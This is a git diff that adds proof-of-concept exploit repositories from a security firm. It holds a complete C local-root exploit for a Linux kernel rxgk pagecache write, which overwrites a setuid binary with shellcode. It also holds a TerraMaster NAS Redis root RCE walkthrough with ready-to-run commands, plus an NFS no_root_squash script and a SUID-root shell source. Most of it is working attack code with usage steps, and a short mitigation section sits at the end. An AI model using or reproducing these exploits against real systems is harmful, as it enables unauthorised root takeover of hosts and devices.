diff --git a/dirtydecrypt/README.md b/dirtydecrypt/README.md new file mode 100644 index 0000000..84ef218 --- /dev/null +++ b/dirtydecrypt/README.md @@ -0,0 +1,12 @@ +# DirtyDecrypt / DirtyCBC + +DirtyDecrypt, also known as DirtyCBC, is a variant of CopyFail / DirtyFrag / Fragnesia. We found and reported this on [May 9, 2026](https://x.com/v12sec/status/2053029838995263854), but was informed it was a duplicate by the maintainers. We're releasing it now since it's patched on mainline. It's a rxgk pagecache write due to missing COW guard in rxgk_decrypt_skb. See `poc.c` for more details. + +DirtyDecrypt was discovered autonomously with [V12](https://v12.sh) by Aaron Esau of the [V12 security team](https://x.com/v12sec). + +> Want to find issues like this in your own code? Try V12 at [v12.sh](https://v12.sh). + +``` +$ sha256sum ./poc.c +8054e424466ed2c353b94fb25643e17bef50b31be95038e1c700156357e2d74b ./poc.c +``` diff --git a/dirtydecrypt/poc.c b/dirtydecrypt/poc.c new file mode 100644 index 0000000..6488640 --- /dev/null +++ b/dirtydecrypt/poc.c @@ -0,0 +1,647 @@ +/* + * rxgk pagecache write — PoC for missing COW guard in rxgk_decrypt_skb() + * + * net/rxrpc/rxgk_common.h: rxgk_decrypt_skb() does skb_to_sgvec() then + * crypto_krb5_decrypt() with no skb_cow_data(). The krb5enc AEAD template + * (crypto/krb5enc.c) decrypts in-place BEFORE verifying the HMAC. When skb + * frag pages are pagecache pages (via splice → MSG_SPLICE_PAGES → loopback), + * the in-place decrypt corrupts the page cache. + * + * The same pattern exists in rxkad (rxkad_verify_packet_2). + * + * Exploitation uses a sliding-window technique to write arbitrary bytes to the + * pagecache one at a time. Each round fires a spliced rxgk packet at offset + * S+i, corrupting a 16-byte AES block. Byte[0] of the output is uniformly + * random (1/256 chance of the target value). Round i+1 at offset S+i+1 + * overwrites the 15 bytes of collateral from round i, but never touches the + * byte set by round i. This yields byte-granularity writes at ~256 fires per + * byte. + * + * Attack: rewrite /etc/passwd root entry → empty password → su root → flag. + * + */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef __has_include +# if __has_include() +# include +# include +# include +# else +# define NEED_RXRPC_DEFS +# endif +#else +# include +# include +# include +#endif + +#ifndef AF_RXRPC +#define AF_RXRPC 33 +#endif +#ifndef SOL_RXRPC +#define SOL_RXRPC 272 +#endif + +#ifdef NEED_RXRPC_DEFS +#define KEY_SPEC_PROCESS_KEYRING (-2) +#define RXRPC_SECURITY_KEY 1 +#define RXRPC_MIN_SECURITY_LEVEL 4 +#define RXRPC_SECURITY_ENCRYPT 2 +#define RXRPC_USER_CALL_ID 1 +struct sockaddr_rxrpc { + unsigned short srx_family; + uint16_t srx_service; + uint16_t transport_type; + uint16_t transport_len; + union { + unsigned short family; + struct sockaddr_in sin; + struct sockaddr_in6 sin6; + } transport; +}; +#endif + +#define RXGK_SECURITY_INDEX 6 +#define ENCTYPE_AES128_CTS 17 +#define AES_KEY_LEN 16 + +struct rxrpc_wire_header { + uint32_t epoch; + uint32_t cid; + uint32_t callNumber; + uint32_t seq; + uint32_t serial; + uint8_t type; + uint8_t flags; + uint8_t userStatus; + uint8_t securityIndex; + uint16_t cksum; + uint16_t serviceId; +} __attribute__((packed)); + +#define RXRPC_PACKET_TYPE_DATA 1 +#define RXRPC_PACKET_TYPE_CHALLENGE 6 +#define RXRPC_LAST_PACKET 0x04 + +#define LOG(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__) +#define ERR(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__) + +/* --- helpers --- */ + +static long key_add(const char *type, const char *desc, + const void *payload, size_t plen, int ringid) +{ + return syscall(SYS_add_key, type, desc, payload, plen, ringid); +} + +static int write_proc(const char *path, const char *buf) +{ + int fd = open(path, O_WRONLY); + if (fd < 0) return -1; + int n = write(fd, buf, strlen(buf)); + close(fd); + return n; +} + +/* --- user/net namespace --- */ + +static void setup_ns(void) +{ + uid_t uid = getuid(); + gid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { + if (unshare(CLONE_NEWNET) < 0) { + perror("unshare"); + exit(1); + } + } else { + write_proc("/proc/self/setgroups", "deny"); + char map[64]; + snprintf(map, sizeof(map), "0 %u 1", uid); + write_proc("/proc/self/uid_map", map); + snprintf(map, sizeof(map), "0 %u 1", gid); + write_proc("/proc/self/gid_map", map); + } + + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s >= 0) { + struct ifreq ifr = {}; + strncpy(ifr.ifr_name, "lo", IFNAMSIZ); + if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { + ifr.ifr_flags |= IFF_UP | IFF_RUNNING; + ioctl(s, SIOCSIFFLAGS, &ifr); + } + close(s); + } +} + +/* --- rxgk XDR token construction --- */ + +static void xdr_put32(uint8_t **pp, uint32_t val) +{ + uint32_t nv = htonl(val); + memcpy(*pp, &nv, 4); + *pp += 4; +} + +static void xdr_put64(uint8_t **pp, uint64_t val) +{ + xdr_put32(pp, (uint32_t)(val >> 32)); + xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF)); +} + +static void xdr_put_data(uint8_t **pp, const void *data, size_t len) +{ + xdr_put32(pp, (uint32_t)len); + memcpy(*pp, data, len); + *pp += len; + size_t pad = (4 - (len & 3)) & 3; + if (pad) { memset(*pp, 0, pad); *pp += pad; } +} + +static int build_rxgk_token(uint8_t *out, size_t maxlen, + const uint8_t *base_key, size_t keylen) +{ + uint8_t *p = out; + struct timespec ts; + clock_gettime(CLOCK_REALTIME, &ts); + uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL + + (uint64_t)ts.tv_nsec / 100ULL; + + xdr_put32(&p, 0); /* flags */ + xdr_put_data(&p, "poc.test", 8); /* cell */ + xdr_put32(&p, 1); /* ntoken */ + + uint8_t tok[512]; + uint8_t *tp = tok; + xdr_put32(&tp, RXGK_SECURITY_INDEX); + xdr_put64(&tp, now); /* begintime */ + xdr_put64(&tp, now + 864000000000ULL); /* endtime */ + xdr_put64(&tp, 2); /* level = ENCRYPT */ + xdr_put64(&tp, 864000000000ULL); /* lifetime */ + xdr_put64(&tp, 0); /* bytelife */ + xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */ + xdr_put_data(&tp, base_key, keylen); /* key */ + uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE}; + xdr_put_data(&tp, ticket, sizeof(ticket)); + + size_t toklen = (size_t)(tp - tok); + xdr_put32(&p, (uint32_t)toklen); + memcpy(p, tok, toklen); + p += toklen; + + if ((size_t)(p - out) > maxlen) return -1; + return (int)(p - out); +} + +static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen) +{ + uint8_t buf[1024]; + int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen); + if (n < 0) return -1; + return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); +} + +/* --- AF_RXRPC client + fake UDP server --- */ + +static int setup_rxrpc_client(uint16_t local_port, const char *keyname) +{ + int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (fd < 0) return -1; + + if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, + keyname, strlen(keyname)) < 0) { + close(fd); return -1; + } + int min_level = RXRPC_SECURITY_ENCRYPT; + if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, + &min_level, sizeof(min_level)) < 0) { + close(fd); return -1; + } + + struct sockaddr_rxrpc srx = {0}; + srx.srx_family = AF_RXRPC; + srx.srx_service = 0; + srx.transport_type = SOCK_DGRAM; + srx.transport_len = sizeof(struct sockaddr_in); + srx.transport.sin.sin_family = AF_INET; + srx.transport.sin.sin_port = htons(local_port); + srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); + + if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { + close(fd); return -1; + } + return fd; +} + +static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id) +{ + char data[] = "TESTDATA"; + struct sockaddr_rxrpc srx = {0}; + srx.srx_family = AF_RXRPC; + srx.srx_service = service_id; + srx.transport_type = SOCK_DGRAM; + srx.transport_len = sizeof(struct sockaddr_in); + srx.transport.sin.sin_family = AF_INET; + srx.transport.sin.sin_port = htons(srv_port); + srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); + + char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; + struct msghdr msg = {0}; + msg.msg_name = &srx; + msg.msg_namelen = sizeof(srx); + struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) }; + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + msg.msg_control = cmsg_buf; + msg.msg_controllen = sizeof(cmsg_buf); + struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_RXRPC; + cmsg->cmsg_type = RXRPC_USER_CALL_ID; + cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); + *(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD; + + int fl = fcntl(cli_fd, F_GETFL); + fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); + ssize_t n = sendmsg(cli_fd, &msg, 0); + fcntl(cli_fd, F_SETFL, fl); + + if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK) + return -1; + return 0; +} + +static int setup_udp_server(uint16_t port) +{ + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s < 0) return -1; + struct sockaddr_in sa = { + .sin_family = AF_INET, + .sin_port = htons(port), + .sin_addr.s_addr = htonl(0x7F000001), + }; + int one = 1; + setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { + close(s); return -1; + } + return s; +} + +static ssize_t udp_recv(int s, void *buf, size_t cap, + struct sockaddr_in *from, int timeout_ms) +{ + struct pollfd pfd = { .fd = s, .events = POLLIN }; + if (poll(&pfd, 1, timeout_ms) <= 0) return -1; + socklen_t fl = from ? sizeof(*from) : 0; + return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL); +} + +/* + * Fire one splice-based pagecache corruption at the given file offset. + * Sets up an rxgk connection with the provided key, completes the handshake + * via a fake UDP server on loopback, then splices pagecache pages into a + * forged DATA packet. The kernel's in-place decrypt corrupts the pagecache. + * + * Returns 1 on fire, -1 on setup error. + */ +static int trigger_seq = 0; + +static int fire(int target_fd, off_t splice_off, size_t splice_len, + const uint8_t *base_key, size_t keylen) +{ + char keyname[32]; + snprintf(keyname, sizeof(keyname), "rxgk%d", trigger_seq++); + + long key = add_rxgk_key(keyname, base_key, keylen); + if (key < 0) return -1; + + /* Use high-entropy ports to avoid TIME_WAIT collisions */ + uint16_t port_S = 10000 + (rand() % 27000) * 2; + uint16_t port_C = port_S + 1; + int ret = -1; + + int udp_srv = setup_udp_server(port_S); + if (udp_srv < 0) goto out_key; + + int cli = setup_rxrpc_client(port_C, keyname); + if (cli < 0) goto out_udp; + + if (initiate_call(cli, port_S, 1234) < 0) + goto out_cli; + + uint8_t pkt[2048]; + struct sockaddr_in cli_addr; + ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50); + if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli; + + struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt; + uint32_t epoch = ntohl(hdr->epoch); + uint32_t cid = ntohl(hdr->cid); + uint32_t callN = ntohl(hdr->callNumber); + uint16_t svc = ntohs(hdr->serviceId); + uint16_t cport = ntohs(cli_addr.sin_port); + + /* send challenge */ + { + uint8_t ch[sizeof(struct rxrpc_wire_header) + 20]; + memset(ch, 0, sizeof(ch)); + struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch; + c->epoch = htonl(epoch); + c->cid = htonl(cid); + c->serial = htonl(0x10000); + c->type = RXRPC_PACKET_TYPE_CHALLENGE; + c->securityIndex = RXGK_SECURITY_INDEX; + c->serviceId = htons(svc); + for (int i = 0; i < 20; i++) + ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF; + struct sockaddr_in to = { .sin_family = AF_INET, + .sin_port = htons(cport), + .sin_addr.s_addr = htonl(0x7F000001) }; + sendto(udp_srv, ch, sizeof(ch), 0, + (struct sockaddr *)&to, sizeof(to)); + } + + /* drain response(s) */ + for (int i = 0; i < 3; i++) { + struct sockaddr_in src; + if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break; + } + + /* forge DATA packet: wire header from userspace, payload from pagecache */ + struct rxrpc_wire_header mal = {0}; + mal.epoch = htonl(epoch); + mal.cid = htonl(cid); + mal.callNumber = htonl(callN); + mal.seq = htonl(1); + mal.serial = htonl(0x42000); + mal.type = RXRPC_PACKET_TYPE_DATA; + mal.flags = RXRPC_LAST_PACKET; + mal.securityIndex = RXGK_SECURITY_INDEX; + mal.serviceId = htons(svc); + + struct sockaddr_in dst = { .sin_family = AF_INET, + .sin_port = htons(cport), + .sin_addr.s_addr = htonl(0x7F000001) }; + if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0) + goto out_cli; + + int p[2]; + if (pipe(p) < 0) goto out_cli; + struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) }; + if (vmsplice(p[1], &viv, 1, 0) < 0) + { close(p[0]); close(p[1]); goto out_cli; } + loff_t off = splice_off; + if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) + { close(p[0]); close(p[1]); goto out_cli; } + if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) + { close(p[0]); close(p[1]); goto out_cli; } + close(p[0]); close(p[1]); + + usleep(1000); + + /* drain the error from the client socket (HMAC check fails as expected) */ + int fl = fcntl(cli, F_GETFL); + fcntl(cli, F_SETFL, fl | O_NONBLOCK); + for (int i = 0; i < 2; i++) { + char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256]; + struct msghdr m = {0}; + struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) }; + m.msg_name = &srx; m.msg_namelen = sizeof(srx); + m.msg_iov = &iv; m.msg_iovlen = 1; + m.msg_control = ccb; m.msg_controllen = sizeof(ccb); + recvmsg(cli, &m, 0); + } + ret = 1; + +out_cli: + close(cli); +out_udp: + close(udp_srv); +out_key: + syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING); + syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key); + return ret; +} + +/* --- sliding window write with progress display --- */ + +static void progress(int done, int total, int fires) +{ + int width = 40; + int filled = total ? (done * width / total) : 0; + int pct = total ? (done * 100 / total) : 0; + fprintf(stderr, "\r ["); + for (int j = 0; j < width; j++) + fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr); + fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires); + if (done == total) fputc('\n', stderr); + fflush(stderr); +} + +static int pagecache_write(int rfd, void *map, off_t base, + const uint8_t *target, int len, off_t file_size, + const char *label) +{ + uint8_t key[16]; + uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid(); + struct timespec t0; + clock_gettime(CLOCK_MONOTONIC, &t0); + int total = 0; + + int max_off = (int)(file_size - 28); + if (base + len - 1 > max_off) + len = max_off - (int)base + 1; + + /* Find first byte that differs. We must write everything from there + * onward, because each round's 15-byte damage zone corrupts the next + * bytes even if they originally matched. */ + int start = 0; + for (int i = 0; i < len; i++) { + uint8_t cur; + pread(rfd, &cur, 1, base + i); + if (cur != target[i]) { start = i; break; } + if (i == len - 1) { + LOG("pagecache already matches, skipping write"); + return 0; + } + } + int need = len - start; + + LOG("writing shellcode to %s (%d bytes from offset %d)", + label, need, (int)base + start); + progress(0, need, 0); + + for (int i = start; i < len; i++) { + off_t off = base + i; + uint8_t want = target[i]; + uint8_t cur; + pread(rfd, &cur, 1, off); + + if (cur == want && i > start) { + /* Byte matches AND we haven't just written (no damage pending). + * This only happens for the first byte after start, which is + * impossible since start IS the first diff. After that, each + * round's damage means we always write. Just be safe: */ + continue; + } + + int ok = 0; + for (int att = 0; att < 10000; att++) { + seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17; + uint64_t r = seed; + seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17; + memcpy(key, &r, 8); + memcpy(key + 8, &seed, 8); + + size_t slen = 28; + if (off + (off_t)slen > file_size) slen = file_size - off; + if (slen < 16) slen = 16; + int rc = fire(rfd, off, slen, key, AES_KEY_LEN); + total++; + if (rc == 1 && ((const uint8_t *)map)[off] == want) { + ok = 1; + progress(i - start + 1, need, total); + break; + } + } + if (!ok) { + fprintf(stderr, "\n"); + ERR("byte %d/%d failed", i - start + 1, need); + return -1; + } + } + + struct timespec t1; + clock_gettime(CLOCK_MONOTONIC, &t1); + double dt = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9; + LOG("%d fires in %.1fs", total, dt); + return 0; +} + +/* --- tiny ELF: setuid(0) + execve("/bin/sh") --- + * 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr. + * Matches the first 24 bytes of any PIE binary (ET_DYN, x86_64). + * PT_LOAD covers 120 bytes; the 15-byte sliding-window damage + * tail at offset 120+ is past the loadable segment. */ +static const uint8_t tiny_elf[] = { + 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */ + 0xb0,0x69,0x0f,0x05, /* setuid(0) */ + 0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, \"/bin/sh\" */ + 0x6a,0x3b,0x58, /* push 59; pop rax */ + 0x0f,0x05, /* execve(\"/bin/sh\", 0, 0) */ +}; + +/* --- main --- */ + +int main(int argc, char **argv) +{ + (void)argc; (void)argv; + srand(time(NULL) ^ getpid()); + + fprintf(stderr, "\n=== rxgk pagecache write ===\n"); + fprintf(stderr, "uid=%u euid=%u\n", getuid(), geteuid()); + + /* Target: any setuid-root binary readable by us. */ + const char *targets[] = { "/usr/bin/su", "/bin/su", "/usr/bin/mount", + "/usr/bin/passwd", "/usr/bin/chsh", NULL }; + const char *target_path = NULL; + for (int i = 0; targets[i]; i++) { + struct stat sb; + if (stat(targets[i], &sb) == 0 && + (sb.st_mode & S_ISUID) && + sb.st_uid == 0 && + access(targets[i], R_OK) == 0) { + target_path = targets[i]; + break; + } + } + if (!target_path) { ERR("no readable setuid-root binary found"); return 1; } + + /* Back up the target binary so the root shell can restore it. */ + char backup[256]; + const char *base = strrchr(target_path, '/'); + base = base ? base + 1 : target_path; + snprintf(backup, sizeof(backup), "/tmp/.%s_%d", base, getpid()); + { + int src = open(target_path, O_RDONLY); + int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (src >= 0 && dst >= 0) { + char buf[4096]; + ssize_t n; + while ((n = read(src, buf, sizeof(buf))) > 0) + write(dst, buf, n); + } + if (src >= 0) close(src); + if (dst >= 0) close(dst); + } + + int rfd = open(target_path, O_RDONLY); + if (rfd < 0) { perror(target_path); return 1; } + + void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0); + if (map == MAP_FAILED) { perror("mmap"); return 1; } + + pid_t pid = fork(); + if (pid < 0) { perror("fork"); return 1; } + if (pid == 0) { + setup_ns(); + usleep(10000); + + int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(1); } + close(sock); + + struct stat sb; + fstat(rfd, &sb); + _exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf), sb.st_size, target_path) < 0 ? 2 : 0); + } + + int st; + waitpid(pid, &st, 0); + if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) { + ERR("corruption failed (status 0x%x)", st); + unlink(backup); + return 1; + } + + munmap(map, 4096); + close(rfd); + + LOG("exec %s", target_path); + LOG("restore: cp %s %s", backup, target_path); + fflush(stderr); + + execlp(target_path, target_path, (char *)NULL); + perror(target_path); + return 1; +} diff --git a/terramaster/README.md b/terramaster/README.md new file mode 100644 index 0000000..c758704 --- /dev/null +++ b/terramaster/README.md @@ -0,0 +1,241 @@ +# TossUp: TerraMaster TOS Redis RCE + +

+tossup logo +

+ +## Abstract + +https://github.com/user-attachments/assets/12573e6d-b29a-4189-b71c-a44a21ca8e62 + +TossUp is a pair of bugs against TerraMaster TOS3_A1.0 4.2.41 on RTD1296 +devices: an unauthenticated Redis root RCE and a separate NFS +`no_root_squash` local privilege escalation. + +TossUp was discovered with [V12](https://v12.sh) by Aaron Esau of the +[V12 security team](https://x.com/v12sec). + +> Want to find issues like this in your own code? Try V12 at [v12.sh](https://v12.sh). + +The LPE is not part of the Redis RCE chain because the RCE already executes as +root. + +We also have a separate authentication bypass, likely upgradable to RCE, which +we will release in the near future. + +The bug is simple: the NAS ships Redis 4.0.10 running as root, listening on +`0.0.0.0:6379`, with no authentication. The on-disk `/etc/redis.conf` contains +`bind 127.0.0.1`, but the init path starts Redis as `redis-server *:6379` +without using that config file. + +The PoC uses standard Redis features to turn that exposure into root RCE: + +1. `CONFIG SET` changes Redis' working directory and database filename. +2. `SLAVEOF` points the NAS at a rogue Redis master controlled by the attacker. +3. The rogue master sends an AArch64 Redis module as the replication payload. +4. Redis writes the payload to disk as `/tmp/..so`. +5. `MODULE LOAD` loads the module and registers `system.exec`. +6. `system.exec` runs shell commands through `popen()` as the Redis process, + which is root on the tested device. + +We reported this to TerraMaster who stated TOS4 is EOL. They have not indicated intent to fix the bug, so we are releasing our POC. + +## "TossUp"? + +Because it's TOS and you upload a malicious module. + +## Exploitation + +Build the Redis module: + +``` +cd terramaster/rce +make +``` + +Run one command as root: + +``` +python3 poc.py --cmd "id" +``` + +Or start the interactive command loop: + +``` +python3 poc.py +``` + +One-line version: + +``` +git clone https://github.com/v12-security/pocs.git && cd pocs/terramaster/rce && make && python3 poc.py --cmd "id" +``` + +If the NAS cannot route back to the automatically selected attacker IP, provide +one explicitly: + +``` +python3 poc.py --lhost --cmd "id" +``` + +The target must expose TCP/6379 to you, and it must be able to connect back to +the temporary rogue-master listener opened by `poc.py`. + +## Building + +The `rce/Makefile` builds an AArch64 Redis module: + +``` +aarch64-linux-gnu-gcc -shared -fPIC -nostartfiles -o module.so module.c +``` + +Install an AArch64 cross-compiler if `make` fails with a missing compiler +error. A prebuilt `module.so` is included for the tested RTD1296 target, but +rebuilding is recommended if you change the module or do not want to run the +checked-in binary. + +## Cleanup + +The PoC attempts to clean up after itself: + +- `SLAVEOF NO ONE` +- restore the original Redis `dir` +- restore the original Redis `dbfilename` +- remove the dropped `/tmp/..so` +- `MODULE UNLOAD system` + +If the script is interrupted after module loading, unload it manually: + +``` +redis-cli -h MODULE UNLOAD system +``` + +The dropped module path is printed during exploitation. Remove that file from +the NAS if cleanup did not run. + +## How It Works + +1. **Unauthenticated Redis check.** `poc.py` connects to `:6379`, sends + `PING`, and expects `+PONG`. It also queries `INFO server` to print useful + Redis details such as `redis_version`, `os`, `process_id`, and `tcp_port`. + +2. **Drop-path setup.** The current Redis `dir` and `dbfilename` are saved. + The PoC then sets `dir` to `/tmp` and `dbfilename` to a random hidden + `.so` name. + +3. **Rogue master startup.** The PoC opens a local TCP listener on an ephemeral + port. If `--lhost` is not provided, it chooses the local source address that + can reach the NAS. + +4. **Replication trigger.** The PoC sends `SLAVEOF ` to the NAS. + Redis connects back to the rogue master and starts the normal replication + handshake. + +5. **Module delivery.** The rogue master implements just enough Redis + replication protocol to answer `PING`/setup commands and then return + `FULLRESYNC` with `module.so` as the bulk payload. Redis writes that payload + to `/tmp/..so`. + +6. **State restoration.** The PoC sends `SLAVEOF NO ONE` and restores the saved + `dir` and `dbfilename` values so Redis is no longer pointed at the rogue + master or `/tmp`. + +7. **Module load.** The PoC reconnects, verifies Redis still does not require + auth, and sends `MODULE LOAD /tmp/..so`. + +8. **Root command execution.** `module.c` registers a Redis command named + `system.exec`. Each call runs the supplied command with `popen()`, captures + up to 8191 bytes of stdout, and returns it as a Redis simple string. + +9. **Interactive loop.** Without `--cmd`, `poc.py` provides a simple + `root@#` command prompt over repeated `system.exec` calls. This is not + a real TTY; it is a command loop. + +## Separate LPE: NFS no_root_squash + +The `lpe/` directory contains a separate TerraMaster TOS local privilege +escalation. It is not needed for TossUp because the Redis RCE already executes +as root, but it is useful as a standalone issue for systems where an attacker +has code execution as an unprivileged NAS user. + +The LPE abuses an NFS export that allows remote root to create root-owned files +on the NAS. `drop.sh` mounts the export from the client, copies a static +AArch64 helper binary, sets owner `0:0`, and sets mode `4755`. If the export is +not root-squashed, the NAS keeps those attributes. Any local NAS user can then +execute the dropped helper to get a root shell or run one command as root. + +Build and drop the helper: + +``` +cd terramaster/lpe +make +sudo ./drop.sh +``` + +If auto-detection chooses the wrong export, provide one explicitly: + +``` +sudo ./drop.sh +``` + +On success the script prints the dropped path: + +``` +[+] SUID-root binary dropped at /.suid +``` + +Then, on the NAS as any user: + +``` +/.suid +/.suid id +``` + +The helper in `suid.c` is intentionally minimal: it calls `setuid(0)` and +`setgid(0)`, then either execs the supplied command or falls back to `/bin/sh`. + +## Affected Versions + +Confirmed on: + +``` +TOS3_A1.0 4.2.41 +Redis 4.0.10 +RTD1296 / AArch64 +``` + +Other TerraMaster builds may be affected if all of these conditions hold: + +- Redis listens on `0.0.0.0:6379` +- Redis has no authentication +- Redis accepts `CONFIG SET`, `SLAVEOF`, and `MODULE LOAD` +- Redis runs as root +- the loaded module matches the NAS CPU architecture + +The NFS LPE is separate and depends on different conditions: + +- the NAS exposes an NFS export reachable by the client +- the export allows writes from the client +- the export does not squash remote root +- the dropped helper matches the NAS CPU architecture + +## Mitigation + +For owners who do not want this behavior: + +- block TCP/6379 from untrusted networks +- make Redis bind only to localhost +- require Redis authentication +- disable or rename dangerous Redis commands such as `CONFIG`, `SLAVEOF`, and + `MODULE` +- fix the init path so Redis actually uses the intended config file +- run Redis as an unprivileged service user +- root-squash NFS exports and avoid writable exports to untrusted clients + +Because the tested product is EOL, network isolation is the practical first +line of defense. + +## Credit + +Found with V12 by Aaron Esau of the V12 security team: [v12.sh](https://v12.sh) +-- dangerously powerful agentic security. diff --git a/terramaster/lpe/Makefile b/terramaster/lpe/Makefile new file mode 100644 index 0000000..c824e48 --- /dev/null +++ b/terramaster/lpe/Makefile @@ -0,0 +1,10 @@ +CC := aarch64-linux-gnu-gcc +CFLAGS := -static + +all: suid + +suid: suid.c + $(CC) $(CFLAGS) -o $@ $< + +clean: + rm -f suid diff --git a/terramaster/lpe/drop.sh b/terramaster/lpe/drop.sh new file mode 100755 index 0000000..390ecca --- /dev/null +++ b/terramaster/lpe/drop.sh @@ -0,0 +1,41 @@ +#!/bin/bash +# TerraMaster TOS NFS no_root_squash LPE +# Drops a SUID-root shell on the NAS via NFS. +# Requires: sudo, aarch64-linux-gnu-gcc, nfs-common/nfs-utils +set -e + +NAS="${1:?usage: sudo ./drop.sh [export_path]}" +EXPORT="${2:-}" +MNTDIR=$(mktemp -d) + +cleanup() { sudo umount "$MNTDIR" 2>/dev/null; rmdir "$MNTDIR" 2>/dev/null; } +trap cleanup EXIT + +# Build if needed +[ -f suid ] || make -C "$(dirname "$0")" + +# Auto-detect export +if [ -z "$EXPORT" ]; then + EXPORT=$(showmount -e "$NAS" --no-headers 2>/dev/null | head -1 | awk '{print $1}') + [ -z "$EXPORT" ] && { echo "[!] No exports found, specify manually"; exit 1; } + echo "[*] Export: $EXPORT" +fi + +# Mount and drop +sudo mount -t nfs -o vers=3 "$NAS:$EXPORT" "$MNTDIR" +sudo cp "$(dirname "$0")/suid" "$MNTDIR/.suid" +sudo chown 0:0 "$MNTDIR/.suid" +sudo chmod 4755 "$MNTDIR/.suid" + +# Verify +OWNER=$(stat -c '%u' "$MNTDIR/.suid") +MODE=$(stat -c '%a' "$MNTDIR/.suid") +if [ "$OWNER" = "0" ] && [ "$MODE" = "4755" ]; then + echo "[+] SUID-root binary dropped at $EXPORT/.suid" + echo "" + echo " On the NAS as any user:" + echo " $EXPORT/.suid # root shell" + echo " $EXPORT/.suid id # run a command as root" +else + echo "[!] no_root_squash not active (owner=$OWNER mode=$MODE)" +fi diff --git a/terramaster/lpe/suid b/terramaster/lpe/suid new file mode 100755 index 0000000..40acd06 Binary files /dev/null and b/terramaster/lpe/suid differ diff --git a/terramaster/lpe/suid.c b/terramaster/lpe/suid.c new file mode 100644 index 0000000..7b20cf9 --- /dev/null +++ b/terramaster/lpe/suid.c @@ -0,0 +1,9 @@ +#include +int main(int argc, char **argv) { + setuid(0); + setgid(0); + if (argc > 1) + execvp(argv[1], argv + 1); + else + execl("/bin/sh", "sh", NULL); +} diff --git a/terramaster/patch.py 